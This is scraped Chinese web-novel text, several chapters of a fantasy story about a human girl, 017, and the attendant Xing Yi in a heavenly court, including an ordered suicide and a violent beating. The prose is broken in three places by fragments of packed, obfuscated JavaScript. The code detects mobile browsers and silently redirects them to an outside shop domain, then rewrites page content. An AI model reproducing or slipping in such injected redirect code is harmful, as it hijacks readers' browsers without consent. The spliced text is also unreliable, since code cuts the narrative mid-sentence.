实际上照片上的几个人看起来都是十五六岁的样子,但017看着兰可星乙每天因为工作任务之类的事忙的脚不沾地,潜意识已经把他们当作成年人了。要她接受几个未成年像白领一样身居高位,每天坐在工位上办公,是在太割裂了。 “在天国,九大司命的官职比较特殊,需要司命们亲自挑选继承人,就像我们五个,就是这一届最有希望得到传承的副官。”罗新自动忽视了前一个问题。 “就你?”017四面环顾,看着狗窝一样的房间:“你们夜神宫真没人了啊?” 罗新接过照片,重新放回玻璃窗里,小心的摆正,说:“你可不能以貌取人啊,我们五个人里,要说成为传承人的概率,我可是百分百。” 017疑惑:“为什么?” “因为我是最听话的,”罗新忽然把脸凑近,平常他总和星乙站在一起不觉得他长得多高,现在一看却有种遮天蔽日的架势。同时,传过来的还有一种017熟悉又不熟悉的味道,从罗新身上散发出来的味道。 粉底液那一类化妆品的味道。 不是香水味,就是化妆品的味道。 罗新瞧见她异样的眼神,大方的把自己的脸凑过去:“啊呀,忘了你不是天国人,能闻出来这种味道。” “哦……啊?”017结结巴巴:“哈哈……” 她忙转移话题:“星乙是你们这里唯一一个黑色头发的人吧?” “还真不是,天国有四黑,元祈、白枫、星乙……”罗新意义不明的看了017一眼,才说:“还有爱霖杰。” 一想到这次闹得沸沸扬扬的袭击,017就紧张起来:“我听说凶手改了目标,是不是说明星乙暂时安全了?” “嗯,但另一个疑点也就出来了,”罗新随手抓了一把铁制的小齿轮,扔了两个进嘴里,一边干嚼,一边说:“这个凶手竟然连遥夏都敢追杀,而且还真让它偷袭成功了,这么看,这凶手不仅是高手在民间,更是狂的要死,那为什么还要纠缠灵心本就坏死的星乙,明明有遥夏这颗更强大的水灵心,凶手为什么舍近求远。” 017看着他的动作,咽了咽口水。半天才想起来问:“星乙灵心坏死?” “他无法操控他的灵心啊,你和他相处这么久,见他用过法术吗?”罗新瞄了她一眼,又往嘴里扔了俩螺丝,嘴动个不停。 还真没有。 “我觉得,凶手一开始就没有考虑过西利落女王的灵心。”017避开看罗新吃的起劲的嘴,边想边说:“凶手一开始的目标就只是星乙,而你们把星乙保护的太好,凶手情急之下,才不得不对西利落女王下手。” “那是好事,星乙安全了。”罗新继续往嘴里塞东西,随口回。 “不,我觉得女王没有死。”017瞥了一眼罗新有些浑浊的蓝色眼睛:“凶手自始至终没有想过杀女王,他就是要你们放松对星乙的看管,自始至终,星乙才是他真正的目标。” “那按照你这么说,星乙不但没有脱离危险,反而是危在旦夕。”罗新不明所以的发笑,又考问她:“那你说,怎么样才能尽快抓到凶手?” 017想了想,说:“凶手既然肯对水司下手,就说明他已经等不及了,放个诱饵出去,就算知道是圈套,他也会铤而走险咬上去的。” “诱饵?”罗新把吃进嘴里的铁玩意都吐进了手心里,手掌红光闪过,铁就在他掌心里融化成了铁水,反手撒在地上,看着带有金属光泽的液体笑道:“诱饵。” 017无法理解的看着他:“好吃吗?” “不好吃,”罗新如实回答:“铁都这么难吃,金子肯定更难吃。” 他转头看向017,吐了吐舌头:“想尝尝金子什么味儿吗?” 017连忙摇了摇头。 “对了,”她忽然问:“你知道星乙喜欢什么吗?我送他的戒指他好像不喜欢,都没见他带过。” “什么戒指?” “我看他挺喜欢小鸟的,就买了红宝石可成小鸟样子的戒指送给他啊。” “鸟?还特么是红的?”罗新一个破功,“你要逗死我吗。” “什么啊?” 罗新捂着脸,压低了声音:“我知道有个礼物,你送他他一定喜欢。” “快说别墨迹。” 罗新用手指戳了戳自己的脸颊:“你看到没,星乙的这半边脸,被人打烂了。” “谁干的?” “你出去打听打听,这么大的云宫里,谁敢打天王的副官,谁能打天王的副官。”罗新眨了眨左眼:“不是天王,那就是天王的另一个副官了哦。” “你是崔玥吗?” 和女孩擦肩而过,突然被叫住了。 崔玥回过头,又惊又奇,这还是017上天国之后自己第一次见她。 尤渚把她放出来后本想找星乙好好聊聊,结果没走两步就被人叫住了名字,崔玥听到那个声音的瞬间,只觉得浑身的血都停止了流通,几乎是脑子还没转过弯,身体就本能的停下来。 天人不愧是人类的奴役。崔玥默默感慨着,刚经历过大难不死,她心情大好,弯下腰对017说:“有什么事吗?” “你可以去死了。” “……什么?”崔玥表情瞬间僵硬,下意识问:“为什么?” “因为,”017漆黑的瞳孔盯着地面,自己的脚尖,似乎不敢看她的脸,说:“你刚才……踩到我的脚趾了。” …… 崔玥死掉了。 在人类的命令下自尽了,原因是她踩到了人类的脚趾。 四下哗然,风声鹤唳。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037585|194639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我想要一条红色的裙子。” “我们没有那么多红色的染料啊。” “那就用红宝石吧裙子粘满不就行了。” “……可那样会很重,就走不了路。” “那找人用轿子抬着我不就好了。” “……那样的裙子会非常僵硬,不能自然下垂,很容易走光的。” “那以后凡是见到我轿子的人,都跪下来,不准抬头看我,不就行了。” “017疯了吧!”戒律殿里,一干人等围着兰可吵的不可开交,“她是真要当皇帝啊!他妈还得下跪,明天是不是还想让我们把圣殿供出来给她当皇帝寝宫啊?” 兰可瞟了他们一眼:“还真有可能。” “都是神经病星乙,他自己能收拾得了这烂摊子吗?017皇帝当上瘾不愿意回地球了怎么办?” “我服了他到底想干什么!” “017今天弄死崔玥,明天看我们不爽把我们也弄死怎么办!真是疯了,到底为什么把这个祸害弄到我们这里来!就应该把星乙那混小子抓起来碎尸万段!” 兰可顶着两个特大黑眼圈,闭目养神,眉头紧蹙:“吵死了,都围着我闹什么?让你们过来开会是想办法的,不是来比谁骂的狠的。” 不骂人,那没什么好说的了。 会议僵持下来,好半晌,还真有人站出来提了一个建议。 “其实,我有个办法。” “如果我们从地球再带回来一个人,也就是018,来帮我们对付017呢?” 兰可闻言,慢慢张开了布满血丝的眼睛,片刻后,又重新睡了过去。 星乙给崔玥收了尸。 她的血,已经没有腥味了。尝起来不像是血,像是水。 接着脱掉染血的白外套,用它们擦掉脸上的血,整理着装,回到右天王身边。 殿内争吵的人已经不见了,女人从他出现在视野中就盯着他看,见他手臂上挂着的外套:“死了。” 星乙点点头,看不出什么表情。 天王他问:“怕了?” 星乙看她一眼,又立刻低下头。女人见他这样不自觉轻笑起来,向前一步:“杀都杀了,你还怕什么?” 星乙缓缓后退一步,摇摇头,比划:崔玥到底有什么把柄在您手里? 他一退,天王就一进。 她没有回答星乙的问题,而是仔细审了审他的脸:“在云宫窝了这么多天了,脸上都有肉了。” 她说着,玩心大发伸手捏住星乙右半边脸,俏皮的扯了扯:“这案子好麻烦啊,星乙帮我想想办法,有什么好点子能让凶手自己蹦进网里呢?” 星乙顶着被捏变形的脸,艰难的打手势:放诱饵。 “什么诱饵。” 星乙:我。 尤渚就像料定他回这么说一样,立刻松开了手,又揉了揉他乌黑的头发:“那你记得小心一点,能调动多少人就调动多少人,让他们躲起来蹲好了,你要是受伤了,我就唯他们是问。” 星乙给她一个笑,比划:一切为您。 12. 臭虫、贱狗 临近夜晚。星乙左手攥着一纸书信,右手提灯,腰配长剑,大步跨过云宫长廊。 他穿着镜都武士的白色制服,长靴直到腿窝,简单的样式勾勒出他刚刚脱离少年时期后的修长线条。 路人纷纷退让,埋头噤声。 他朝办公室走去,加班。 路上,周遭沉浸在压抑的气氛中,就连以往活泼好动的白鸽都安静的缩在角落里,见到星乙,才伸出脑袋叽叽喳喳叫唤。 和人不同,星乙从不突然出声将他们吓飞,所以这些鸟觉得他亲切,喜欢挨个伸长脑袋朝他上下点头。 路上,遇到了戒律殿的人,对方神色古怪,手忙脚乱的塞给他一份汇报单,是关于昨晚那个刺客。 星乙随身带着纸笔,立刻填写起来,行云流水,熟练非常。 “西利洛运来的刺客尸体,被认出是左清殿的人,是个内应,根据您的猜测,凶手是个天国人,所以我们初步猜测,应该就是挖心贼的人,但不排除有人趁机混淆视听的可能。” 星乙不置可否,写道:兰可的名单排出来了吗? “兰可长官,不在办公室。” 星乙眉宇间疲惫不堪,写字飞快:这个时间,不在办公室她能在哪? “在南天门。” 星乙感到奇怪,兰可是个急脾气,所以身边带着的人个个利索速度,什么时候也学会挤牙膏一样问一句回一句了。 写:她在那里干什么? “不能说。”这人看上去快要憋疯了,“017有命令,不能跟你说。” 钢笔尖停在纸上,顿了几秒,星乙“嘭”的一声甩掉了笔,转身朝南天门跑过去。 017是被一个陌生人带去南天门的,那个人她见过,在兰可身边见过。男人跟她说,兰可要从地球上再带一个人回来制衡她。 所以,017早早的就等在南天门了。 果不其然,她和兰可打上了照面。 “从现在开始,没有我的允许,这个门……”017站在宽阔的石门前,指着大门外侧,那个漆黑如宇宙漩涡的黑色洞。“包括所有通向地球的通道,都不准打开!” “去把我的话告诉给所有人!” 众人纷纷行动,只有兰可还站在那里,她被017盯着,身体本能让她屈服于人类,一步也迈不开。 在兰可满脸无语和不耐烦中,017走到了她的身边,“你不许动。” “你想到下面去,找个山寨皇帝回来对付我吗?”017气息不稳,底气不足,声音细若蚊蝇:“你只不过是个云宫的奴才,跟我作对,对你有什么好处。” 兰可张了张嘴,话还没说出来,就被017飞快捂住了嘴。 她黑色的眼睛明亮异常:“你见不得我好,你羡慕我对吧,我知道了。” “我理解你的,嫉妒心人人都有,我也经常嫉妒别人呀,所以我不怪你。”017说:“但是我不能白受欺负啊……让我想想,我该怎么惩罚你好呢?” “有了,” 017在她衣服上写了一个大大的“臭虫”。 “你就穿着这件衣服,膝盖着地,爬着回去吧。” 星乙跑到南天门的时候,兰可已经不在那里了。017小小的个子蹲在地上,像只白色的老鼠,手指戳着地面成群结队爬行的蚂蚁,头也不抬地说:“你们这里真的没有吃的吗?那为什么还有蚂蚁啊?” 星乙上前抓住了她的手腕,摇了摇,又摇了摇。 “我可是在为你出气啊,星乙,你以前怎么没说过,自己还是个受气包,打不还手,骂不还口啊。” 星乙半跪下来,手在她眼前晃了晃,又晃了晃。 “我又没杀了她,我只是让她爬回去了,她不是骂你贱狗吗,我就让这里所有的人都知道她是臭虫……哎!” 星乙突然捧起他的脸,无奈的笑了一下,比划:贱狗臭虫,你是觉得我们很般配吗? 017不明所以:“你是在怪我做错了吗?” “你怕什么?我可是人类啊,你们自己说的,无法违抗我的命令。”017严肃的看着星乙,好像极力证明些什么,着急的说:“你别怕,不管是谁,崔玥、兰可、尤渚,谁敢欺负你,我帮你报仇。” 星乙捏着她的头发的一角,把乱糟糟的碎发整理干净,等他借助这细小的举动平复了017的不安和紧张,然后才比划:谢谢,但是我和兰可之间就是这样的,我是地板上的口香糖,她是踩到口香糖的鞋底板,我们早就密不可分了。 “你什么意思?” 星乙没有回答这个问题,转而比划:不要对付右天王了,其实她对我超级好的,还有兰可,我们的关系很复杂,但也算得上知己了。 017辩解道:“可是罗新说……” 星乙捂住了她的嘴,在017诧异得眼神中摇了摇头,然后又打手语:我可是右天王的副官呀,谁敢欺负我?谁能欺负我?那是罗新跟你开玩笑呢。 看着他蓝色的眼睛,017忽然觉得很没意思,她这么做自己不觉得开心,现在星乙也不怎么开心,那她岂不是白发了一通威风。017开始恼了。 星乙:要在这里活下去,尤渚和兰可,我都不能失去。 “用不着她们,我会一直保护你的。而且……”017垂下眼:“我是你带上来的,我今天这么羞辱她,你肯定要被她记恨死了。” 星乙:不会的。 星乙:不是说了吗,除非口香糖不黏了,不然鞋底板是甩不掉的。 017不跟他说话了,发泄似的一个个把地上爬行的蚂蚁碾死。 星乙站起身,拍了拍她的脑袋:别郁闷了。 “好心当作驴肝肺!”017吼了他一声,跑了。 站在云宫边缘,抬头看整个镜都最高大的建筑,一定会注意到那一块水晶一样亮闪闪的部分。 那是巨大梯形建筑中人数最密集的一块,戒律殿的总部门,占据着整个风琴塔采光最好的五层,阳光射下,总会反射出海面般波光粼粼的色泽。 星乙带着保洁走了进去。 戒律殿日常吵闹,但现在却鸦雀无声,星乙敲门进来时,气氛更是凝固到呼吸都觉得粘稠的地步。 所有人都看向一个位置。 彼时兰可就坐在里面一间用玻璃隔离的办公室里,她白色的裤子盖过脚踝,两个膝盖的地方都又脏又黑,一尘不染的外套上,和017说的一样,用口红和小学生字体在兰可身上写了字。前挂着一个“臭”,后写着一个“虫”。 她坐在椅子上,神色平静,手里翻看着一份报告,没有注意到星乙似的,头也不抬。 星乙看了她一眼。 “噗嗤”,一个不小心笑了出来。 看他居然还敢笑?惊的周围戒律殿的员工立刻以他为圆心退出三米半径之外。 果不其然,下一秒,耳畔一声巨响,兰可不知道扔了个什么东西过来,玻璃墙被炸出一朵白色的玻璃花,落了个稀巴烂。 “还不滚!” 星乙吸了口气,抬腿滚了过去。 兰可一挥手,法力在空间的边缘形成一层隔离膜,办公室的玻璃瞬间白化。看不清里面的情况,留下戒律殿员工和保洁面面相觑。 戒律殿员工不禁问:“谁找的保洁?” 保洁淡定道:“星乙啊,我是他家的直雇保洁,他叫我过来的,说会有很多血,让我一会儿打扫一下。” 顿了顿,保洁手指指星乙进门的方向:“会死吗?” 戒律殿员工各个一言难尽:“会的吧。” 不禁感叹,不愧是年年蝉联副官服务态度榜冠军的人,连自己的身后事都能考虑的这么周到。 然后他们就注意到保洁随身携带的清理桶里还放着几块备用玻璃。 他甚至考虑到玻璃一定会碎…… 保洁无话可说,戒律殿的人无话可说,所有人都无话可说。兴许是个正常人,对上星乙,都无话可说。 在云宫最大的行政机构戒律殿,兰可身为顶头上司的最大心腹,拥有这样一间具有隐私性的办公室。但她特意把隔离墙用成了玻璃,目的就是为了告诉外面的那些人,她不希望看到有人偷工减料,她看不起偷奸耍滑。 除了这些,她看不起的多了去了。 在万人眼里,兰可是个特立独行的犟脾种。她看不起团队协作,看不起和朋友成群结队做什么事都要在一起的人,看不起浑浑噩噩没上进心的人,看不起得过且过随遇而安的人…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037586|194639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最看不起的就是当面一套背后一套,和她耍心眼玩阴招的奸诈小人。 恰好,在她为数不多称得上朋友的人里,星乙就是这样的人。 也恰好,星乙第一次和她耍手段,就让兰可失去了她唯一看的起的东西。 友谊。 所以她忍不了,照兰可自己的话说,只要周围的空气里出现星乙,就会感觉一阵恶心。 按照兰可的脾气来说,就算不把星乙坑到她看不见的地方去,也要避而远之,远远吐一口唾沫。但星乙显然不是第一次出现在她的办公室了。 少年递给她一张纸:我查清楚了,告诉017你行踪的和当时出主意让你再去找个人类回来的是同一个人,你应该记得吧,总喜欢和罗新唱反调的那个。 随之放在她桌子上的,还有一瓶涂擦伤的药水,看来是很贴心的考虑到了她的膝盖。 兰可看完,扔掉了纸,然后站起身绕过桌子,来到他面前。 “邦——!”迎面给了他一拳头。 拳头疾风速度,砸在脸上,发出沉闷的声响。 鼻腔中有鲜血瞬间涌出,顺着下巴滴落,紧接着第二拳接踵而至,击中了太阳穴。少年的头猛地偏向一侧,耳朵里嗡鸣作响。 然后是膝盖重重顶在腹部,打的星乙弯下腰,干呕出声。 唾液混着血丝从嘴角垂下,滴在瓷砖地板上。兰可一把抓住他的头发,将他的头狠狠撞向墙壁,“咚”的一声,星乙整个上半身都瘫软下来。 拳脚如雨点般落下,砸在胸口、肩膀、肋骨。 每一次击打都伴随着骨骼的闷响和肌肉的震颤,少年的衬衫被撕破了,本就青一块紫一块的皮肤更是被重新上色,一眼望去好不精彩。 但兰可显然还没打算结束,她抄起一旁的椅子,抡圆了砸在少年的背上。木椅应声碎裂,碎片四散飞溅。星乙踉跄着跪倒在地,双手撑地,大口喘息。 他不躲。 兰可金色发丝乱舞,面目变形,用力过度到有些狰狞:“他妈的还手啊……” 冷汗从她的额头流下,模糊了视线。 兰可胡乱一脚踢在他侧腰,星乙翻滚出去,一下撞到墙角。 他的手臂不自然地扭曲着,可能是骨折了。少女踩住他的手腕,用力碾磨,星乙默默牙关,没有发出声音,只有汗水混着血水从额头滑落。 最后一下,兰可抓起地上的碎木片,在将要狠狠刺进他肩膀的瞬间,星乙终于躲避了一下。 他比划:解气了吗?我一会这样走出去,可比你跪着爬半个云宫要丢人吧? “我想弄死017!”兰可喘着粗气,一下坐在站不起来的星乙身边,“更想弄死你!” 星乙也正大口呼吸,两个人像是在竞争这个不大不小空间里的氧气,兰可摸了摸额头的汗水:“油煎,刀刮,我想把她的嘴拿针缝起来你知道吗!可我不能!谁让她是人!” 星乙点点头:说的对。 兰可继续骂:“外面那些人每天正事不干,全都指望着有人给他们安排,我他妈是计划整理机器吗!不能干全都给我滚蛋,全都给我去死算了!” 星乙点头:确实如此。 兰可还在骂:“还有乐茴那个精神分裂!她跟着乐摹去执行任务,天天给我写报告汇报进度干什么!我难道不知道乐摹排名马上超过我了吗!傻逼吗……用得着她来讽刺我!” 星乙终于强撑着爬了起来,拍了拍她的肩头,又比划:骂完了吗?我走了。 “你给我站住!”兰可一把扯住他的衣服:“你知道右天王跟我说什么吗?她要解开你的圈禁,罢免你的工作,让你这个准受害人到大街上去晃荡,让你去当靶子,引凶手出来!” 星乙拨掉她抓着自己衣服的手,歪头:我知道啊。 兰可沉默了,然后看着星乙那张脸,豁然站起身又踹了他一脚:“滚吧!贱狗!” 星乙扶着墙站起身,又看了一眼兰可衣服上的“臭虫”。 他们之间,不是懒狗和跳蚤,不是肠道里的寄生虫,不是寄生关系。他们是小丑鱼和海葵,蜜蜂和鲜花,互利共生的健康关系。 017不会懂的,要想在这里活下去。 兰可和尤渚,他都不能失去。 13. 最后的晚餐 走到殿门前,还有一个正守株待兔的。 罗新靠在角落里,手里把玩着一个长方形的盒子,冲他比了个剪刀手:“星乙。” 星乙视若无睹,张腿就走。 “等等!”罗新追上来,瞥到他外套上新鲜的血沫,神色不变:“等等我啊你。” 星乙停下脚步,比划:017呢? “在我那儿玩呢。” 星乙:让她回来。 “我要是不呢?”罗新说完,两人相对静了几秒,星乙不愿和他纠缠,迈步要走,罗新就顺势拦在他面前,哼哼哈哈的笑道:“崔玥死了,你的目的达到了,难道还不够吗?” 星乙一把推开他:是你让017去找兰可麻烦的。你为什么要这么做,挑拨我和兰可的关系对你有什么好处? 罗新笑了:“没什么好处,我只是想看看,什么叫恶人自有恶人磨。” 星乙:你最好别让我抓到把柄,咱们两个之间的账,可比我和兰可的还难算。 “随便你吧。”罗新难得没有嬉皮笑脸,递给星乙一个长方形的白盒子:“别生气了,给你的补偿。” 星乙疑惑的看了他一眼,慢慢把盒子挪远了才打开,生怕里面蹦出个什么,但定睛一眼,里面赫然躺着一把黑色手枪。 “天国禁枪,但没有禁制枪手册,这是我研究的初代版本。”罗新拿出枪,枪口在盒子边刮了刮,低声说:“但里面只有一颗子弹,开枪时声音巨大,可以立刻吸引周围的人。” 星乙似笑非笑:你们机甲师,都在研究这些吗? “求救的时候,只要把子弹打出去,我和兰可就能立刻赶到。” 枪确实是上好的武器,但在法术面前,任何物理攻击都无法发挥真正的作用。 况且,天人不会被一颗子弹杀死。 星乙刚想拒绝,罗新却强制性把枪塞进他手里,拍了拍他的手背,似乎在安抚星乙的倔强,“相信我,没什么武器会比子弹更快。” 星乙收下了:今晚,我要看到017出现在我的办公室里。 当天晚上,017就冷着一张脸来了。 罗新脸色说不上好看,一语不发的把她送回来,又一语不发的走了。 夜晚,满天繁星。 不出所料,017气还没消,但虽然是还在生气,还是给星乙使了个眼色。星乙立刻打开了自己别墅的大门,笑着把她请了进去。 一进门,空气瞬间暖了起来。 不仅是热,还有那久违熟悉的饭香味,让017差点以为回到地球了。 顺着光扫过去,满满一桌子的菜,少说六七样,荤素搭配,泛着恰到好处的油光,在烛火下尤其诱人。 017惊讶道:“吃的?” 不怪她大惊小怪,她旅行这么久,从来没吃过一顿饭。 天国上下九层她去了八层,只有靠下的地区,天人才需要吃东西来维持体能,但他们只能种出小麦,所以吃的都是麦饼各种肉类。哪能见得着菜的影子。 星乙给她拉开椅子,017大方落座,看着手边的筷子,脑子难得转了转。 她想起来罗新所说天国植物都是从冥界魔界进口的,物价贵的离谱,这一桌子家常便饭,十分奢侈。 不知道星乙怎么弄出来的。 星乙:你在外面这么久,喜欢天国吗? 这可是她唯一能和星乙聊上两句的话题,于是滔滔不绝说起来,类似罗新满满两柜子的机械物件草图,还有忙忙碌碌四处奔走的天人,最后表达了对天国纯白色单一审美的厌恶。 她好像已经把这里当家了,开始对这片土地评头论足,可掩饰不住她真正快乐的声音。最后说:“这里太单调了,没一点浪漫的感觉。” 星乙赞同的点点头。 “天人也很无聊,除了你,所有人都想跟我作对……” 星乙一直静静的听着,手里的筷子尖时不时敲击出声音,海蓝的眼睛里充满耐心。他脸上带有部分人类特征,再加上温暖并且散发着菜香的幻境,无不令017感到心安,也渐渐忘记了不久前两人闹的一点不愉快。 与此同时,一阵诡异涌上心头。 为什么星乙总能完美的满足她的一切需求呢?自己对星乙来说到底是什么人。 朋友,老师,父亲,哥哥,甚至男朋友,星乙对她的态度似乎在慢慢进化。像一只变色龙盘踞在017情绪的背景板上,精准的变色,直到017对他付出全部信任,甚至误将两人视作一体。 他不在乎017做了什么,看起来只要017高兴,星乙就满意了。 但星乙是天人,他是不会做伤害自己的事情的,而且,017觉得自己也没什么值得被星乙图谋的东西。 怀着这一份疑惑,联想到这些天的所作所为,017隐隐有了种后怕的感觉。 她为星乙杀过一个人。 她也不知道为什么,自己会做出那么多神经的事,虽然很刺激,可她担心因为她的所作所为,给星乙带来麻烦。但现在一想,这似乎都是被星乙默许甚至鼓励的。 “星乙,你为什么……”017犹豫了一下,当看到星乙清澈的我蓝色眼睛时,还是说:“算了。” 星乙坐在她对面:这些菜,我弄来可不容易。 他修长干净的手指,摆出邀请的姿势,指尖所指,一叠叠荤腥和蔬菜纷纷上赶着讨好般,露出最诱人的色泽。 在他期待的眼神里,017迫不及待的夹起一块红烧肉,送进嘴里。一瞬间,干枯的味蕾立刻被激活,刺激的味道让她来不及咀嚼,就囫囵吞了下去。 被月亮注视着,星乙没有抬头,刻意的端起高脚杯,喝了一口水,又习惯性的,拿下巴蹭了一下肩膀,好像那里有什么东西。 夜半,烛火烧穿了黑暗。 罗新站在床边,从口袋里拿出了另一张照片。 在黑白的世界里,他手里的照片是彩色的。 照片里的是一个十三四岁的男孩,黑色短发,红色的眼睛,白色的帽子和纯白的校服。面对镜头,他有些拘谨的低着脸,但却隐隐透着一股有力的鲜活色彩。 照片的下面,是一句:恭喜毕业,季寻。 罗新看了看照片里的人,拿起黑笔把他的名字涂成了一个黑疙瘩,又在旁边补上两个字:“星乙”。 天边的街市,鱼龙混杂交错相通,最不缺的就是旅人。 金色飞马车在空中投下极简三色的气球和彩带团,彩带团在空中一个接一个爆破,金色、银色、白色的流星雨随飞马在空中飘扬,预告着重大活动的到来。 白色衣裙的孩子们蹦蹦跳跳,嬉笑着去扯那些飘带,拿来系在手腕上。 街边时不时就能看到一两个身穿白色制服,手执武器的年轻人们两两三三结成小队,在街边闲逛。 近些天镜都是如此光景,惹得路边小摊上的生意人心生好奇。 晌午,一个年轻姑娘停在他的小摊前,十六七岁的模样,一眼望去气度不凡。他忍不住问道:“不是第二天的人吧?” 天国从九到一,排出了九层天。 像第二层,天人们往往叫做“第二天” 少女穿着虽然看着与那些赴比的孩子大体无异,但还是能从细节上看出不同。她袖口的太阳纹路低调又精细,鞋跟上也雕着花纹,神情从容不迫,近乎嚣张。 不像来参加大比,更像来找茬的。 她站在摊子面前遮住光线,落下一大片阴影。奇特的是那影子足足有三个她一般大,正低头昏昏欲睡的小商贩一个激灵,从地上翻起来。 这多出的左右两片影子,来源于少女身后施了隐形咒的一双翅膀。 竟是羽族的人。 男人好奇的打量着她,扫到她外套下露出一角的徽章,愣了一下,忙仔细看去,反复确认——金三角徽。 金三角徽,云宫戒律殿的人! 少女头也不抬,捡起摊子上白色的流苏吊坠,系在了剑柄上,丢了一枚银币给他。不紧不慢道:“今年的武士大会在‘第二天’举行,你不知道?” 武士大会,顾名思义是一场选拔性的比试。早在天国金牛历时期就赢得云宫圣殿成员一致通过,各个神殿轮流主持。 今年,是戒律殿一手操办的。 少女正是此番大比的监察官,戒律殿副官——兰可。 “那我还真是错了,”笑着,恭维道:“不该叫小姐,应该叫戒律大人才对。” 兰可不自在的瞥了他一眼,拢了拢外衣,把徽章盖住:“哼,你还挺有见识。” “那是,放眼天国、不,放眼五界内外,谁不认得戒律殿的三角金徽!谁又能不知道这雷神印记?就是人,雷鸣一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037587|194639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都得抬头看看天呢!” 虽然是明显的恭维,但兰可还是忍不住勾了勾唇,骄傲中带着些许轻浮,腰杆不自主挺得更直了。“我问你,有没有见到一个跟我差不多高,男的,长的让人过目不忘的年轻人?” 男人一脸疑惑。 兰可补充:“黑色头发的。” 男人这才敢肯定的摆摆手:“没有。” 兰可啧了一声,摩挲着剑柄上的流苏,在人群中四处寻找,她身手矫捷,一瞬间蹬地临空而起,巨大的白翼在蓝天云层下显形一瞬,轻盈一跃,稳落在房顶上。 动作干净,没有翅膀扇动,却比鸟儿更要敏捷灵活,眨眼不见了踪影。 街道另一边,一个十二三岁的小女孩四处闲逛,被一间茶馆里热闹的声音吸引过去。 茶馆里似乎有先生说书,他挤进一个角落,喘着粗气要了一壶酒,又想起来身上总共没几个响,又改口换成了白水。 服务员点点头,暗暗叹了口气。 “妖王大叫道,好你个忘恩负义的白眼狼!今日我们就在此处,一较生死!” “白衣少年冷笑一声,不屑于与他这般虚伪之人多费唇舌,两人展开了生死之战!” 周遭围满了一堆身穿白衣的天人,小孩子们挤在最外圈,吱吱喳喳吵个不停。 女孩翻了个白眼:“胡编乱造。” 她走出茶馆,就见一个满脸戾气的少女左顾右盼,正在找人。 戒律殿,羽族少女,是雷司副官,兰可。 女孩立刻起身,大喜过望的嘟囔道:“可算走散了。” 她从口袋里拿出纸,慢慢展开,那是一个少年的脸,黑发蓝眸,带有天国军人那般干净的气质,就像一滴清澈的水。女孩略带不屑的细细描绘了他的模样,印在脑海里,小声默念:“星乙。” 星乙接过门票,大步走进剧院。 靠后的位置,黑暗的环境,时候舞台边泛出法力的光泽,让剧院宛如黑夜和白昼的交界,好像已经提前预告了故事的厚重和美妙,提前打动了台下观众的芳心。 黑暗,能将人吞噬的黑暗。 终于安静下来。 星乙深深吸了一口气,坐在左右无人的位置上,开始等待开场。 他记得这个话剧,在他上学的时候就已经有了。 一场很简单的故事。 贤惠的女人嫁给了镇上一名百发百中的猎户,猎户每天都能打到新鲜的野味,为妻子提供足够的皮革换取钱财,在所有人看来,猎户一家生活的幸福美满,猎户的妻子十分幸运能有这么能干的丈夫。 而他们不知道的是,猎户脾气恶劣对妻子毫无耐心,几乎可以说是暴躁易怒,在比其他人更能干的同时,也没几个人能忍受得了他的脾气。 妻子的娘家人无意间撞破了猎户正大声的痛骂他的妻子,甚至拿出猎枪用枪口对准了妻子的头,而她只是继续手里的工作,沉着从容。 大家惊讶的问妻子为什么不和家里面诉苦,独自忍受这些。 妻子回答:“他对我毫无耐心,是因为他把所有的耐心都留给了猎物,他虽然拿枪指着我,但他的子弹每次都会在回家前打空。正是因为我忍受了这些,才能享用肉汤和温暖的毛裘。” 大家恍然大悟,理解了女人所谓的大智慧。 可没过几天,就传来了女人被猎户杀害的消息。 原来是有一天,猎户偷了懒,并没有用光子弹。 而妻子那天恰好心情不好,罕见的和猎户顶了嘴,男人恼怒之下按动了板机。 于是酿成悲剧。 已经过了两个多小时,星乙紧绷着的弦没有放松过一下,警惕的留意着周围的动静,可什么也没有发生。没有杀手,没有任何不对劲的地方。 按照计划,兰可伪造出和自己走散的假象,自己则找对凶手来说好下手的地方,引他出来。 计划行不通。 戒律殿的人藏在暗处一无所获,兰可和他配合完美的障眼法似乎并没有骗过凶手,或者说凶手真的改变了目标,他已经不是猎物。 星乙刚想起身,突然被一只手按住了肩膀,身后气流涌动。他面无表情,就好像没有察觉到任何异样。 一只鼻子凑到他颈边,轻轻嗅了嗅。 星乙皱起眉,就听到一个女孩的笑声:“找到了。”